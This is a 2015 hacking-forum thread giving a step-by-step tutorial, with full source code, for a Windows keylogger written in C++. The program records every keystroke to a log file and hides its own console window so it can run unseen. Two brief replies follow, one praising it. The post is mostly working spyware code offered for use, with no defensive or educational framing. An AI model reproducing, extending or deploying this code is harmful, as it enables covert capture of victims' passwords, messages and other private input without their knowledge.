C++ keylogger tutorial
Nimbuzzmasters forum
nwlve HI   GUEST nwlve
WELCOME TO NIMBUZZ MASTERS FORUM
PLEASE   REGISTER

TO
Dzs HAVE FULL ACCESS TO THE FORUM AND BE ABLE TO DOWNLOAD STUFF Dzs
Grp
STAY WITH US THANK YOU
Forum management ©️
Mzs
Nimbuzzmasters forum

The forum of the nimbuzz forums


You are not connected. Please login or register

 
 

C++ keylogger tutorial

Message (Page 1 of 1)

avatar
 
Management team
Management team

Posted on Fri Oct 30, 2015 10:17 pm

 
First we need to create a new project.
Click on 'File' > 'New' > 'Project'.
Now choose 'Win32 Console Application' and choose for name "Keylogger".


If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'.

You should have a empty project now.
Now we will add a .cpp file.

Right click on 'Source Files' and take 'Add' > 'New Item'.


Now take 'C++ File(.cpp)' and name it Keylogger.

then click 'Add'.

Now open Keylogger.cpp and Write this in it.

Code:
#include <iostream>    // These we need to
using namespace std;   // include to get our
#include <windows.h>   // Keylogger working.
#include <winuser.h>   //

Now write this:

Code:
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.

Now we need to make a main function.(The main function will be the first that will be executed.)

Code:
int main()  
{
        Stealth(); // This will call the stealth function we will write later.
    char i; //Here we declare 'i' from the type 'char'

    while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
    {           // Note this is also the part that will increase your cpu usage
        for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");    // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
        }
    }
    system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}

Now under the latest code add this
To make it look better.

Code:
/* *********************************** */

Under that we will write our keylogger so it will also recognize special keys like the 'spacebar' and stuff.
If you want to add some yourself here is a site where you can look up the ascii table. http://www.asciitable.com/

Code:
int Save (int key_stroke, char *file)   // Here we define our save function that we declared before.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    
    cout << key_stroke << endl;

        if (key_stroke == 8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              //VK stands for virtual key wich are the keys like Up arrow, down arrow..
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[left]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[right]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

Now we going to add Stealth to it.
Under the latest code add again

Code:
/* *********************************** */

Now write:

Code:
void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowCl***", NULL);
  ShowWindow(Stealth,0);
}

So thats it, you wrote your first keylogger

Here the full code:

Code:
#include <iostream>    
using namespace std;  
#include <windows.h>
#include <winuser.h>


int Save (int key_stroke, char *file);
void Stealth();

int main()
{
        Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
        }
    }
    system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

        if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[left]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[right]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

/* *********************************** */

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowCl***", NULL);
  ShowWindow(Stealth,0);
}


Nimbuzzmasters


    Nim  


View user profile


avatar
 
REVIEWERS
REVIEWERS

Posted on Sat Oct 31, 2015 7:08 am

 



View user profile


avatar
 
REVIEWERS
REVIEWERS

Posted on Wed Apr 06, 2016 11:32 am

 
nice !



View user profile


#4

Sponsored content


 

Posted

 





Message (Page 1 of 1)

Permissions in this forum:
You cannot reply to topics in this forum


  • Total Posts:
  • Total Members:
  • Newest Member:
  • Most Online: Most users ever online was 540 on Tue Jan 19, 2016 9:39 pm

In total there is 0 user online :: 0 Registered, 0 Hidden and 0 Guests
Users browsing this forum: None